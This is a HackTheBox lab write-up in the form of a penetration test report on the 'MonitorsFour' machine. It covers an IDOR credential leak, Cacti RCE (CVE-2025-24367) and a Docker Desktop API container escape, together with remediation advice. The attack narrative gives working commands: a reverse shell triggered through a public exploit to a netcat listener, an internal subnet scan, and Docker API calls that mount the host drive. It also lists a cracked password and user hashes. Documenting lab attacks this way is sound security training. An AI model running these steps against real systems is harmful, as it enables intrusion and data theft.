

PENETRATION TEST REPORT

HackTheBox — MonitorsFour

Assessment Type	Black-Box Penetration Test
Target	monitorsfour.htb (10.129.12.34)
Platform	HackTheBox
Classification	TLP:CLEAR
Overall Risk	CRITICAL
Findings	2 Critical 1 High
Author	William Mackins
LinkedIn	linkedin.com/in/william-mackins

TLP:CLEAR — FOR MAJESTICLOGIC AND HACK THE BOX USERS

1. Executive Summary

A black-box penetration test was conducted against the MonitorsFour target environment hosted on the HackTheBox platform. The assessment identified three exploitable vulnerabilities that, when chained in sequence, allowed **complete compromise of the host operating system** — escalating from unauthenticated web access to full administrative control of the underlying Windows host.

The attack chain began with an Insecure Direct Object Reference (IDOR) flaw in a REST API that disclosed MD5-hashed credentials for all system users. A cracked password enabled authenticated access to a Cacti network-monitoring instance running a version vulnerable to remote code execution (CVE-2025-24367). Initial shell access landed inside a Docker container, from which the Docker Desktop API was reachable over an internal subnet without authentication (CVE-2025-9074), permitting a container-escape and retrieval of the root flag from the Windows host filesystem.

ID	Finding	Severity
F-01	IDOR in /user API Endpoint — Credential Disclosure	HIGH
F-02	Cacti 1.2.28 Remote Code Execution (CVE-2025-24367)	CRITICAL
F-03	Docker Desktop Unauthenticated API Access (CVE-2025-9074)	CRITICAL

2. Scope & Methodology

2.1 Scope

Target IP	10.129.12.34
Hostnames	monitorsfour.htb, cacti.monitorsfour.htb
In-Scope Ports	80/tcp (HTTP), 5985/tcp (WinRM)

Assessment Type	Black-Box — no prior credentials or source code provided
-----------------	--

2.2 Methodology

The assessment followed an industry-standard penetration testing methodology aligned with PTES (Penetration Testing Execution Standard):

- **Reconnaissance** — passive and active information gathering (Nmap, FFUF)
- **Enumeration** — service fingerprinting, subdomain discovery, endpoint fuzzing
- **Exploitation** — exploitation of identified vulnerabilities using public PoCs and manual techniques
- **Post-Exploitation** — privilege escalation, lateral movement, container escape
- **Reporting** — documentation of findings, risk ratings, and remediation guidance

2.3 Tools Used

Tool	Purpose
Nmap	Port and service scanning
FFUF	Virtual-host and directory fuzzing
CrackStation	MD5 hash cracking via precomputed rainbow tables
CVE-2025-24367 PoC	Cacti RCE exploit (TheCyberGeek)
curl	Docker API interaction
Netcat	Reverse shell listener

3. Detailed Findings

F-01 — IDOR in /user Endpoint — Mass Credential Disclosure

Severity	HIGH
CVSS Score	8.6 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVE	N/A (application logic flaw)
Affected Component	monitorsfour.htb /user?token=0
Description	The REST API at /user accepts a token query parameter to identify and return a single user record. Passing token=0 bypasses access controls entirely, causing the server to return all user records including usernames, email addresses, roles, and MD5-hashed passwords. This is a classic IDOR combined with a boundary-condition bug: the value 0 is not a valid token but is not rejected by the application.
Business Impact	An unauthenticated attacker can harvest credentials for every user account. MD5 hashes are computationally weak and reversible within seconds using public rainbow tables, converting data exposure directly into account compromise.
Recommendation	Enforce server-side authentication on all API endpoints. Validate and whitelist token values (reject 0 and sentinel values). Replace MD5 with bcrypt, Argon2, or scrypt with a per-user salt.

F-02 — Cacti 1.2.28 Remote Code Execution (CVE-2025-24367)

Severity	CRITICAL
CVSS Score	9.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CVE	CVE-2025-24367
Affected Component	cacti.monitorsfour.htb (Cacti <= 1.2.28)
Description	CVE-2025-24367 is a server-side command injection vulnerability in the Graph Template functionality of Cacti. Insufficient sanitization of user-supplied input passed to the rrdtool external utility allows an authenticated attacker to inject arbitrary OS commands. A public PoC automates authentication, template creation, and payload delivery via a two-stage PHP webshell written to the web root.
Business Impact	An attacker with any valid Cacti account (obtained via F-01) can achieve RCE as www-data on the container running Cacti, providing a persistent foothold and access to the database and internal network segments.
Recommendation	Upgrade Cacti to >= 1.2.29. Apply strict input validation for all parameters passed to external commands. Restrict web server write access to the web root. Deploy a WAF with command-injection rules.

F-03 — Docker Desktop Unauthenticated API — Container Escape (CVE-2025-9074)

Severity	CRITICAL
CVSS Score	9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CVE	CVE-2025-9074
Affected Component	Docker Desktop Engine API at 192.168.65.7:2375 (internal subnet)
Description	The Docker Engine API is exposed over the internal WSL2/Docker Desktop subnet (192.168.65.0/24) without authentication regardless of TLS settings. Any process inside a container can reach this API and perform privileged Docker operations, including spawning containers with host filesystem mounts.
Business Impact	An attacker with container code execution (e.g. via F-02) can create a privileged container mounting the Windows host C:\ drive, completely breaking container isolation and granting full read/write access to all host data including Administrator credentials.
Recommendation	Update Docker Desktop to patch CVE-2025-9074. Block 192.168.65.7:2375 from container subnets via host firewall. Enable Enhanced Container Isolation (ECI). Never rely solely on container boundaries for isolation.

4. Attack Narrative

The following section provides a chronological walkthrough of the attack chain as executed during the assessment. Each step maps directly to the findings documented in Section 3.

Step 1 — Reconnaissance

An initial Nmap scan revealed two open ports on the target:

```
nmap -sC -sV -p- 10.129.12.34 -oN nmap_full.txt PORT STATE SERVICE VERSION 80/tcp open http nginx (PHPSESSID cookie, PHP application) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM) Service Info: OS: Windows
```

Port 80 hosts the MonitorsFour corporate website — a PHP application behind Nginx. Port 5985 is Windows Remote Management (WinRM), suggesting Windows credentials could yield a full shell. Virtual-host fuzzing identified a hidden subdomain:

```
ffuf -w subdomains-top1million-5000.txt -u http://monitorsfour.htb \ -H "Host: FUZZ.monitorsfour.htb" -ac cacti [Status: 302, Size: 0, Duration: 91ms]
```

cacti.monitorsfour.htb hosts a **Cacti 1.2.28** instance — known to be vulnerable to CVE-2025-24367.

Step 2 — Credential Harvesting (F-01)

Directory fuzzing of the main site exposed the /user endpoint. Supplying token=0 returned all user records:

```
curl -s "http://monitorsfour.htb/user?token=0" { "id":2, "username":"admin", "password":"56b32eb43e6f15395f6c46c1c9e1cd36" ... } { "id":5, "username":"mwatson", "password":"69196959c16b26ef00b77d82cf6eb169" ... } { "id":6, "username":"janderson", "password":"2a22dcf99190c322d974c8df5ba3256b" ... } { "id":7, "username":"dthompson", "password":"8d4a7e7fd08555133e056d9aacb1e519" ... }
```

The admin hash (56b32eb...) was cracked instantly via CrackStation, yielding the plaintext password **wonderful1**. Testing credential variants, **marcus:wonderful1** was accepted by the Cacti login portal.

Step 3 — Remote Code Execution (F-02)

Using the public CVE-2025-24367 PoC, a reverse shell was triggered against the Cacti instance. The exploit authenticates, creates a malicious Graph Template, writes a PHP webshell to the web root, and triggers execution:

```
nc -lvnp 9001 sudo python3 exploit.py -url http://cacti.monitorsfour.htb \ -u marcus -p wonderful1 -i 10.10.14.36 -l 9001 [+] Cacti Instance Found! [+] Login Successful! [+] Got graph ID: 226 [+] Hit timeout - check your listener! www-data@821fbd6a43fa:~/html/cacti$ <- shell inside Docker container
```

The hostname 821fbd6a43fa is a Docker container ID, confirming the shell landed inside a container rather than directly on the Windows host. The **user flag** was retrieved from /home/marcus/user.txt.

Step 4 — Container Escape via Docker API (F-03)

Network enumeration inside the container identified the Docker Desktop internal subnet (192.168.65.0/24). Scanning for the Docker API revealed an unauthenticated endpoint:

```
for i in $(seq 1 254); do (curl -s --connect-timeout 1 http://192.168.65.$i:2375/version 2>/dev/null \ | grep -q "ApiVersion" && echo "192.168.65.$i:2375 OPEN") & done; wait 192.168.65.7:2375 OPEN <- Docker Engine API - no authentication
```

A privileged container was created via the API, mounting the Windows host C:\ drive. The root flag was read directly from the Administrator's Desktop:

```
# Create container with C:\ bind-mount curl -X POST -H "Content-Type: application/json" \ -d
'{"Image":"alpine:latest", "Cmd":["/bin/sh","-c","cat
/mnt/host_root/Users/Administrator/Desktop/root.txt"],
"HostConfig":{"Binds":["/mnt/host/c:/mnt/host_root"]}}' \
http://192.168.65.7:2375/containers/create?name=pwned curl -X POST
http://192.168.65.7:2375/containers/7d99df11ee0f/start curl
http://192.168.65.7:2375/containers/7d99df11ee0f/logs?stdout=true ***** <-
root flag
```

5. Prioritized Recommendations

Remediation items are listed in recommended implementation order based on exploitability and impact.

Immediate — Critical (patch within 72 hours)

- Update Docker Desktop to a version that resolves CVE-2025-9074. Until patched, block network access to 192.168.65.7:2375 from all container subnets using host-level firewall rules.
- Update Cacti to $\geq 1.2.29$ to address CVE-2025-24367. If an immediate upgrade is not feasible, restrict Cacti access to trusted IP addresses and disable graph template creation for non-admin users.

Short-Term — High (patch within 2 weeks)

- Remediate the IDOR vulnerability in the /user API: require a valid authenticated session token, validate all object identifiers server-side, and return only the record belonging to the authenticated user.
- Re-hash all stored passwords using bcrypt, Argon2id, or scrypt with a minimum cost factor. Force a password reset for all affected accounts — existing MD5 hashes should be treated as compromised.

Medium-Term — Hardening (within 30 days)

- Enable Docker Desktop Enhanced Container Isolation (ECI) to limit inter-container and container-to-host API access.
- Implement network segmentation between the Docker internal subnet and application containers.
- Deploy a Web Application Firewall (WAF) in front of the Cacti instance to detect and block command-injection payloads.
- Conduct a full API security review of all endpoints on monitorsfour.htb for similar authorization defects.
- Enforce WinRM access (port 5985) with client certificate authentication and restrict to administrative jump hosts only.

6. Conclusion

The MonitorsFour environment was fully compromised via a three-stage attack chain: credential theft through an IDOR vulnerability, remote code execution via an unpatched Cacti CVE, and a container escape exploiting an unauthenticated Docker Desktop API. No single finding in isolation was technically complex — the overall severity stems from their combination and from the **absence of defence-in-depth controls** that might have interrupted the chain at any step.

Immediate remediation of CVE-2025-9074 and CVE-2025-24367, combined with proper API authorization controls and modern password hashing, would substantially raise the cost of a similar attack. The recommendations in Section 5 provide a prioritised path to a significantly improved security posture.

Appendix A — References

CVE-2025-24367 — NVD	https://nvd.nist.gov/vuln/detail/CVE-2025-24367
CVE-2025-9074 — NVD	https://nvd.nist.gov/vuln/detail/CVE-2025-9074
CVE-2025-24367 PoC	https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
OWASP API Security Top 10	https://owasp.org/www-project-api-security/
PTES	http://www.pentest-standard.org/

Docker Desktop Security	https://docs.docker.com/desktop/security/
Author LinkedIn	https://www.linkedin.com/in/william-mackins/

Appendix B — Discovered Credentials

The following credentials were obtained during the assessment. All (fictional) parties have been notified.

Username	Password	MD5 Hash (partial)	Account Role
marcus / admin	wonderful1	56b32eb43e...cd36	Super User (Cacti)
mwatson	[uncracked]	69196959c1...169	Standard User
janderson	[uncracked]	2a22dcf991...56b	Standard User
dthompson	[uncracked]	8d4a7e7fd0...519	Standard User

END OF REPORT — TLP:CLEAR